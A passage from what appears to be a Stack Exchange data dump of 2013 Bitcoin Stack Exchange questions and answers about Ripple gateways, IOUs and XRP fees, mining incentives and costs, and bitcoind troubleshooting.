Ledger is designed to operate without a central authority, currently almost all validating servers are operated or managed by Ripple Labs. So it's not fully distributed yet in that sense, but it will be. Currently, most XRP (the units used to pay transaction fees) are held by Ripple Labs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also important to understand that using the XRP Ledger as a store of value for fiat currencies imposes a counter-party risk. If you hold dollars on the ledger, someone you have chosen to trust owes you those dollars. If you misplace trust, you can wind up with uncollectable IOUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ledger can uss gateways, companies that make it their business to make &quot;settle on demand&quot; agreements with people, to hold IOUs. The ledger is much less useful for payments of fiat currencies if there aren't reliable gateways you can trust to hold your money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In function, the XRP Ledger's way of handling assets other than XRP is more like PayPal or Visa than Bitcoin. But its internal implementation is based on the same technologies Bitcoin uses -- public transactions, no central authorities, cryptographically secured transactions, peer-to-peer transaction propagation, and so on. One key difference is that people who choose to use assets issued by different counterparties can seamlessly exchange value with each other through a distributed exchange. So there's a huge interoperability benefit.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2018-05-20T20:32:25.517" LastActivityDate="2018-05-20T20:32:25.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7612" PostTypeId="2" ParentId="7602" CreationDate="2013-02-13T03:42:59.107" Score="1" Body="&lt;p&gt;Your client will immediately show a payment that was sent to you however it will only show as &quot;0/unconfirmed&quot; until the transaction has confirmations and also your client must be synchronized (has downloaded the needed remaining blocks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the transaction was broadcast to the network (e.g., shows up in &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt;) but your client doesn't show any payment whatsoever then the problem is likely to be either that your client isn't connecting to the network or somehow the address you think is in your wallet really isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you manually imported private keys into the client's wallet, then possibly the client needs to have the client launched from the command line with the &quot;-rescan&quot; option to get the imported private key and its bitcoin address to be properly recognized.  That option can be run at any time (i.e., isn't harmful to run, even if not needed) so if you are expecting results that aren't occurring, this is one step you can take to eliminate any question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, make sure you have a backup (multiples, actually) of your wallet.dat at all times, including before doing a -rescan or at any time there appears to be trouble.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-13T03:42:59.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7613" PostTypeId="1" AcceptedAnswerId="7614" CreationDate="2013-02-13T04:02:54.733" Score="7" ViewCount="1189" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;A Gateway must do two things&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;accept some form of deposit from a user and give the user Gateway&#xA;  IOUs. (Other -&gt; ripple) &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;accept Gateway IOUs from a user and send that&#xA;  user payment. (ripple -&gt; Other)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How does &lt;a href=&quot;https://ripple.com/wiki/Simple_Gateway_Guide&quot; rel=&quot;nofollow&quot;&gt;Gateway IOUs&lt;/a&gt; work? I have three basic questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Which one happens first in a gateway, (a) users pay money to gateway, or (b) gateways transfer IOUs to user? What guarantees that step 2 happens?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What will happen when a gateway refuses to accept IOUs, and transfer money back to user?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there anything similar to 'interest rate' for holding IOUs for long time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2013-08-27T22:26:39.143" LastActivityDate="2014-04-04T02:19:25.603" Title="With Ripple, how do Gateway IOUs work?" Tags="|ripple|iou|ripple-gateways|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7614" PostTypeId="2" ParentId="7613" CreationDate="2013-02-13T06:13:20.123" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;which one happens first in a gateway, (a) users pay money to gateway, or (b) gateways transfer IOUs to user? what guaranties step 2 happens?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The gateway gets to set its own policies. However, the general consensus is that gateways should avoid risk because they'd have to pass losses onto their customers in the form of higher fees. So you probably shouldn't trust a gateway that extends IOUs to people whose money it doesn't hold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the gateway breaches its contract with you, you should complain publicly, sue them, or take whatever action you consider appropriate. Gateways are only worth their reputations.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what will happen when a gateway refuses to accept IOUs, and transfer money back to user?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The user can just exchange the IOU for another IOU at a gateway that will do business with them. A gateway can't can't really refuse to redeem IOUs for one user specifically because the IOUs are tradeable and fungible. Once at least one outbound Bitcoin gateway is running, you could exchange the IOU for Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a gateway begins reneging on its redemption agreements generally, then the value of those IOUs will fall and people will stop accepting them. This is the counter-party risk you take when you extend trust in the Ripple system. Using Ripple as a store of value for fiat currencies &lt;em&gt;requires&lt;/em&gt; reliable gateways. There's no getting around this.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is there anything similar to 'interest rate' exists for holding IOUs for long time?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Once interest rates increase from their current near-zero level, this could be a major profit center for gateways. Of course, if being a gateway is very profitable, lots of companies will do it and then competition will either drive down rates or drive up services. (Remember when banks gave away toasters?) Nothing stops a gateway from giving rewards to people who hold their IOUs.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-13T06:13:20.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7615" PostTypeId="1" AcceptedAnswerId="7616" CreationDate="2013-02-13T07:54:39.470" Score="1" ViewCount="119" Body="&lt;p&gt;When the Ripple client starts, it connects to some initial servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does its find the initial list of servers it should connect to?&#xA;Is the initial list hardcoded?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-13T08:18:46.583" Title="How is the Ripple cilent bootstrapped?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7616" PostTypeId="2" ParentId="7615" CreationDate="2013-02-13T08:18:46.583" Score="2" Body="&lt;p&gt;The client is configured with the server or servers it should connect to in a configuration stored on the web server that serves the client and retrieved by the client using HTTP. In the current version of the client, this can be changed from the &lt;code&gt;Options&lt;/code&gt; screen. I believe this change is currently not saved but there are plans to store a list of servers in the wallet.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-13T08:18:46.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7617" PostTypeId="1" CreationDate="2013-02-13T09:51:47.033" Score="3" ViewCount="772" Body="&lt;p&gt;Say we have two people - first one puts some money into their Ripple address through a use of a gateway. They are not trusting anyone on the network, but need to send their money to a second party that may or may not be in a similar situation. How would Ripple transfer the money from the first individual to the other?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-13T14:07:18.813" Title="Does sending non-ripple-money through Ripple require two people to be connected through a web of trust?" Tags="|transactions|payment|ripple|trust|wot|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7618" PostTypeId="5" CreationDate="2013-02-13T09:52:28.407" Score="0" Body="" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2013-02-13T09:52:28.407" LastActivityDate="2013-02-13T09:52:28.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7619" PostTypeId="4" CreationDate="2013-02-13T09:52:28.407" Score="0" Body="Web of Trust - a decentralised trust model" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2013-02-13T09:52:28.407" LastActivityDate="2013-02-13T09:52:28.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7620" PostTypeId="1" CreationDate="2013-02-13T09:55:23.897" Score="6" ViewCount="703" Body="&lt;p&gt;How does a gateway IOU differ from any other IOU on the Ripple network? Say, if I got a $1000 from a gateway, does that make it a better currency than say, creating a second account and sending myself $1000 through that? Does the Ripple network somehow distinguish between those?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-04-04T02:08:33.073" Title="How does a gateway IOU differ from any other IOU on the Ripple network?" Tags="|ripple|trust|wot|iou|ripple-gateways|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7621" PostTypeId="1" CreationDate="2013-02-13T09:59:31.630" Score="17" ViewCount="1254" Body="&lt;p&gt;What happens when a gateway on the Ripple network defaults or simply vanishes? Do people that got their money from it lose that money, do other gateways honour the IOUs issued by that gateway still, or does something else happen?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-03-05T23:59:06.763" Title="What happens when a gateway on the Ripple network defaults or simply vanishes?" Tags="|ripple|trust|money|iou|ripple-gateways|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7622" PostTypeId="1" CreationDate="2013-02-13T10:25:53.217" Score="11" ViewCount="887" Body="&lt;p&gt;What is the distribution plan to get Ripples (XRPs) distributed to the general public? How will hoarding / spoofing be tackled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(E.g. with a faucet based on Google account auth, one could open several google accounts and get &quot;too many&quot; XRPs).&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-11T11:52:18.403" Title="How will Ripples be distributed?" Tags="|ripple|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7623" PostTypeId="2" ParentId="7621" CreationDate="2013-02-13T11:05:28.890" Score="4" Body="&lt;p&gt;If I understand correctly, IOUs issued by different gateways are not mutually fungible, even if denominated in the same underlying fiat currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I you were to hold IOUs from a gateway and that gateway vanished, or simply refused to honour its IOUs you'd be out of your money.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-13T11:05:28.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7624" PostTypeId="2" ParentId="7617" CreationDate="2013-02-13T11:08:21.227" Score="-3" Body="&lt;p&gt;If my understanding is correct the WoT is not necessary in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is necessary that the parties have a common set of validators that will record the transaction in their ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strictly speaking, if the parties are not trusting anyone in the network it won't work, because you'd still need to trust your set of validators not to collude. So one form of trust is necessary, but there does not need to be a credit path between the two parties.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-13T11:08:21.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7625" PostTypeId="2" ParentId="7620" CreationDate="2013-02-13T12:41:24.547" Score="5" Body="&lt;p&gt;It doesn't differ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gateways are just issuers that you somehow have more trust for, so much trust that their IOUs can basically be treated like cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what happens in the current financial system, when you see $100 on your bank account it doesn't mean that you actually have $100. It just means that you hold your bank IOUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand there is no technical distinction between both types of IOUs.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-13T12:41:24.547" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7626" PostTypeId="1" AcceptedAnswerId="7627" CreationDate="2013-02-13T13:10:55.460" Score="9" ViewCount="813" Body="&lt;p&gt;In Bitcoin, fees are earned by the miners. Who earns the transaction fees in Ripple?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2013-03-13T15:40:53.407" LastActivityDate="2013-03-13T15:40:53.407" Title="Who earns transaction fee in Ripple?" Tags="|transactions|ripple|money|ripple-transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7627" PostTypeId="2" ParentId="7626" CreationDate="2013-02-13T13:42:40.953" Score="8" Body="&lt;p&gt;The transaction fees in Ripple are simply destroyed. There is no mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We had to use ripples because we couldn't use dollars, both because dollars in Ripple can only be represented as debt (Who would owe them to the system? Who would they go to?) and because Ripple is intended to be cross-currency (How would you manage exchange rates?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beauty of ripples is that the network &lt;em&gt;can&lt;/em&gt; destroy them and they require no central authority. In the future, if ripples become unusually scarce or plentiful, the XRP cost of transactions can be adjusted by consensus.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-26T05:23:41.517" LastActivityDate="2013-02-26T05:23:41.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7628" PostTypeId="5" CreationDate="2013-02-13T13:58:33.280" Score="0" Body="&lt;p&gt;Ripple is a real-time gross settlement system (RTGS), currency exchange and remittance network by Ripple. Also called the Ripple Transaction Protocol (RTXP) or Ripple protocol.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="48884" LastEditDate="2017-10-20T20:02:22.820" LastActivityDate="2017-10-20T20:02:22.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7629" PostTypeId="4" CreationDate="2013-02-13T13:58:33.280" Score="0" Body="Questions about Ripple are off topic. This tag should be used for questions regarding Ripple, an alternative cryptocurrency. Such questions can include how Ripple works and things that can be done with it. Ripple is also known by its ticker symbol, XRP." OwnerUserId="85" LastEditorUserId="48884" LastEditorDisplayName="user45151" LastEditDate="2019-07-17T21:13:35.417" LastActivityDate="2019-07-17T21:13:35.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7630" PostTypeId="2" ParentId="7617" CreationDate="2013-02-13T14:07:18.813" Score="8" Body="&lt;p&gt;You can't get money on the Ripple network unless you trust someone to owe it to you. To have $100 in the Ripple network, someone must owe you that $100. If you haven't chosen to trust anyone to owe you money, nobody can owe you $100 and thus you can't have any money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you give money to a gateway, you must allow them to pay you in IOUs. And if someone is expecting you to pay them money, they must allow someone to owe them that money or it's impossible for you to pay them. Now if you've both chosen to trust the same gateway, it's simple -- you just hand them the IOUs you just bought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you trust different gateways, then a path between those two gateways must be found. With luck, there will be someone who holds IOUs from both gateways and doesn't particularly care which IOUs they hold. So you can use them to &quot;move&quot; your IOUs from one gateway to another.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-13T14:07:18.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7632" PostTypeId="2" ParentId="7621" CreationDate="2013-02-13T15:20:15.270" Score="12" Body="&lt;p&gt;Any of those things can happen. Likely, there will be some &quot;hot potato&quot; going on as people rush to offload any IOUs they hold to people who haven't yet gotten the news. It's unlikely other gateways would honor the IOUs unless they were contractually obligated to. This would likely harm their customers as they'd have to make up the losses somehow -- likely with higher fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gateways are in the business of being trusted. So they have a huge incentive to find ways to induce people to trust them. We don't yet know what will happen, but some possibilities include:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Gateways could cross-insure each other. (But this might make you less likely to trust a gateway for fear that it will collapse due to the collapse of another gateway.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Gateways could be insured by governments or private insurance companies. (They hold other people's fiat currency, so the legal framework for doing this exists in many countries.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Gateways could post bonds or liens on physical assets that could be seized or sold if the gateway defaults and used to cover their obligations.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that this is only a significant issue for people who wish to use the Ripple system to hold fiat currencies as a store of value. It's not a major issue for a merchant who just wants to get paid in dollars as they can use a gateway that electronically deposits the currency in their regular bank account on a daily basis. If that gateway goes out of business, they'd only lose a day or two's revenue and could switch gateways on the Ripple system with no disruption. (You might think losing two days revenue is a big deal, but remember, businesses already pay 2% to take credit cards. That's like losing seven days revenue every year.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-13T15:20:15.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7633" PostTypeId="2" ParentId="7573" CreationDate="2013-02-13T15:59:33.717" Score="2" Body="&lt;p&gt;Since the internal trade history will be public, I guess a service could be built to show price statistics. You would watch the prices of the most traded IOUs, presumably from gateways. Examples: wexUSD, wexBTC, wexEUR, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site could have several tools to group several currencies of the same denomination (but different issuers) averaging by volume or something like that. It could be similar to bitcoincharts, but pulling the data from the ledger instead of the exchange's servers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the &lt;a href=&quot;https://github.com/rippleFoundation/ripple&quot; rel=&quot;nofollow&quot;&gt;core&lt;/a&gt; needs to be released first.&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2013-02-13T15:59:33.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7634" PostTypeId="2" ParentId="7621" CreationDate="2013-02-13T16:14:01.837" Score="1" Body="&lt;p&gt;The same that happens when an exchange or bitcoin business that accepts deposits disappears: users will likely lose their deposits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless the gateway somehow binds their IOUs issuance to a legal contract through some &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_signature#The_current_state_of_use_.E2.80.93_legal_and_practical&quot; rel=&quot;nofollow&quot;&gt;digital signature scheme&lt;/a&gt;. &#xA;In that case, users may be able to sue them or get something from the bankruptcy process of the company.&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2013-02-13T16:14:01.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7635" PostTypeId="1" CreationDate="2013-02-13T16:47:25.510" Score="1" ViewCount="449" Body="&lt;p&gt;I have 3 graphics cards running poclbm each with a rate of about 140 MH/s. This has been running since I posted an earlier question ( &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4454/no-more-backup-pools-left-using-primary-and-starting-over&quot;&gt;&amp;quot;No more backup pools left. Using primary and starting over.&amp;quot;&lt;/a&gt; ) in August I have not found/created a block in that time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However every so many hours or every few days (irregularly, but never 5 days uninterrupted), I get the message, &quot;No more backup pools left. Using primary and starting over.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this message effecting my ability to mine, or am I just impatient?&lt;/p&gt;&#xA;" OwnerUserId="1745" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-04-28T13:42:45.650" Title="Broken miner: no more backup pools" Tags="|mining-pools|miner-configuration|gpu|poclbm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7636" PostTypeId="2" ParentId="7635" CreationDate="2013-02-13T17:24:30.923" Score="1" Body="&lt;p&gt;This indicates that your miner couldn't get work from the pool fast enough and so some mining power was wasted. If this only happens occasionally, I wouldn't worry about it. If it happens often enough that it's impacting your mining rate, you may wish to configure a backup pool. If it's happening because your Internet connection is slow or unreliable, there's probably nothing you can do about it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-13T17:24:30.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7637" PostTypeId="1" CreationDate="2013-02-13T17:36:48.037" Score="4" ViewCount="844" Body="&lt;p&gt;Why did miners/pools choose the longest chain for continuing it?&#xA;Because with this strategy they have the highest expected bitcoin reward.&#xA;The expected bitcoin reward is &lt;code&gt;(new generated bitcoin (b) + transaction fees (t)) * probability (p) the block will not become orphaned&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since today &lt;code&gt;b + t&lt;/code&gt; is clearly dominated by &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; is kind of constant, today miners maximize &lt;code&gt;p&lt;/code&gt; by mining for the longest blockchain. But what about the days when &lt;code&gt;b&lt;/code&gt; gets close to &lt;code&gt;0&lt;/code&gt;? Then, right after a completed block, &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;t&lt;/code&gt; are &lt;code&gt;0&lt;/code&gt;. Thus, a clever miner should ignore the latest block, since even with a small &lt;code&gt;p&lt;/code&gt; he will end up with a higher expected reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But once miners become aware of transaction fees and will not build on the longest chain this could cause serious trouble? Did I forget something or are these assumptions right?&lt;/p&gt;&#xA;" OwnerUserId="1853" LastEditorUserId="5406" LastEditDate="2018-05-04T17:11:37.213" LastActivityDate="2018-05-04T17:11:37.213" Title="Why should a miner choose the longest blockchain if another chain has a higher expected reward?" Tags="|mining-reward|blockchain-fork|chain-reorganization|selfish-mining|best-chain|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7638" PostTypeId="2" ParentId="7637" CreationDate="2013-02-13T18:06:40.690" Score="3" Body="&lt;p&gt;I think it's conceivable that this could happen. But under realistic cases, I don't think it actually will. If you don't mine on the longest block, the probability that your block will ever be part of the longest block drops drastically. Unless a block you mine becomes part of the longest chain and stays that way, you never get any fees or reward at all.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-13T18:06:40.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7639" PostTypeId="1" CreationDate="2013-02-13T18:48:07.247" Score="2" ViewCount="3338" Body="&lt;p&gt;Are there any approximations to the average cost of mining of a BTC over time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask is because I think that as this ratio will affect the general availability of  Bitcoins on MtGox, and will be a factor influencing the price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words miners won't sell BTC at a loss, while competition increases and BTCs per block decrease.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-20T20:38:28.593" LastActivityDate="2016-01-20T20:38:28.593" Title="Average cost of mining per BTC over time" Tags="|mtgox|trading|exchange-rate|mining-profitability|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7640" PostTypeId="1" CreationDate="2013-02-13T19:51:59.833" Score="1" ViewCount="5691" Body="&lt;pre&gt;&lt;code&gt;looris@Palace-of-the-Nine-Moons:/tmp $ bitcoind &#xA;looris@Palace-of-the-Nine-Moons:/tmp $ Bitcoin server starting&#xA;&#xA;&#xA;************************&#xA;EXCEPTION: St13runtime_error       &#xA;CLevelDB(): error opening database environment Corruption: missing start of fragmented record(2)       &#xA;bitcoin in AppInit()       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This happens when I start &lt;code&gt;bitcoind&lt;/code&gt;, any clue on what could I do to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to run it with &lt;code&gt;-rescan&lt;/code&gt; but the result was the same.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2017-08-25T19:35:34.770" Title="bitcoind: corrupted database?" Tags="|bitcoind|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7641" PostTypeId="1" CreationDate="2013-02-13T19:56:20.283" Score="4" ViewCount="442" Body="&lt;p&gt;In the Ripple system we have two types of currencies - ripples and all other currencies useful for transacting with people in your web of trust. Ripples are the only currency in the system that can be used for paying transaction fees and transactions between any two users even if they are not connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the discrepancy between the supply of ripples and the size of the fees, spamming the system would be virtually free. This usefulness of ripples is thus moot. Trading between any two peers could be accomplished with Bitcoin, so this use is also limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, with that in mind, what use are ripples really, asides being a way for the developers of the system to monetise?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="44" LastEditDate="2013-05-09T23:46:19.440" LastActivityDate="2013-05-09T23:46:19.440" Title="What use are ripples?" Tags="|ripple|money-supply|architecture|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7642" PostTypeId="1" CreationDate="2013-02-13T20:03:49.583" Score="5" ViewCount="326" Body="&lt;p&gt;Can a system like Ripple exist without a currency like ripples? As they are not used to pay the peers in the system, and their supply / fee ratio is so large they do not appear to be stopping the system from being spammed, could the system work without them? What is stopping the Ripple system from abandoning ripples, asides them being mandated by the protocol?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="44" LastEditDate="2013-05-09T23:44:26.617" LastActivityDate="2013-05-09T23:44:26.617" Title="Can Ripple exist without ripples?" Tags="|transactions|ripple|money-supply|architecture|wot|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7643" PostTypeId="2" ParentId="7639" CreationDate="2013-02-13T21:00:06.723" Score="2" Body="&lt;p&gt;This is a chart of blockchain.info's estimated &lt;a href=&quot;http://blockchain.info/charts/miners-operating-profit-margin&quot; rel=&quot;nofollow noreferrer&quot;&gt;miner operating profit&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The chart makes a number of assumptions which are listed below.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Electricity consumption is estimated based on power consumption of 650 Watts per gigahash and electricity price of 15 cent per kilowatt&#xA;hour. In reality some miners will be more or less efficient.&lt;/p&gt;&#xA;&lt;p&gt;For profit margin hardware costs are estimated to be $1000 per gigahash every&#xA;2 years, and bandwidth $1 per gigahash per year.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It is also entirely possible that miners will start only accepting transactions that pay fees, and possibly increase the amount of fees they take to increase the amount of BTC per block. But the amount of fresh bitcoins taken from mining will almost certainly affect the price.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-02-13T21:00:06.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7644" PostTypeId="2" ParentId="7582" CreationDate="2013-02-13T21:15:25.107" Score="-1" Body="&lt;p&gt;I am not sure which block it is, but you can see it on &lt;a href=&quot;http://blockchain.info/charts/transaction-fees?timespan=all&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow&quot;&gt;this graph&lt;/a&gt; from blockchain.info. It was ~305 BTCs in transaction fees. The blockchain will not tell you why the transaction fees are so high. It is probably an accident or a joke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the largest size a block can be is measured in terms of bytes, and it is 1MB. So the largest transaction can be as large as 1MB of data will let it be.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-02-13T21:15:25.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7645" PostTypeId="2" ParentId="7641" CreationDate="2013-02-13T21:59:48.797" Score="2" Body="&lt;p&gt;As explained in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/7575/105&quot;&gt;this answer&lt;/a&gt; fees are not fixed so I don't think that your conclusion about them being useless for spam protection is true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that I would say that they can be used similar to how Bitcoin is used. They may be a future competitor to Bitcoin even though they are certainly not marketed that way. They are scarce, easy to transfer etc.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-02-13T21:59:48.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7646" PostTypeId="2" ParentId="7642" CreationDate="2013-02-13T22:49:13.430" Score="2" Body="&lt;p&gt;Not with its consensus mechanism: you need the scarce ripples to prevent abuses to the network precisely from spam and DoS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is the older two phase commit design to implement the ripple concept as a decentralized protocol (that wasn't implemented) and didn't need ripples or any kind of &quot;HostCoin&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://archive.ripple-project.org/Protocol/Protocol&quot; rel=&quot;nofollow&quot;&gt;http://archive.ripple-project.org/Protocol/Protocol&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has some advantages and disadvantages over the current implementation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+Better privacy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;+Even faster transactions??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-All intermediaries in a Ripple transaction must be online&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lack of thin clients, people that can't be always online are expected to use a server as a 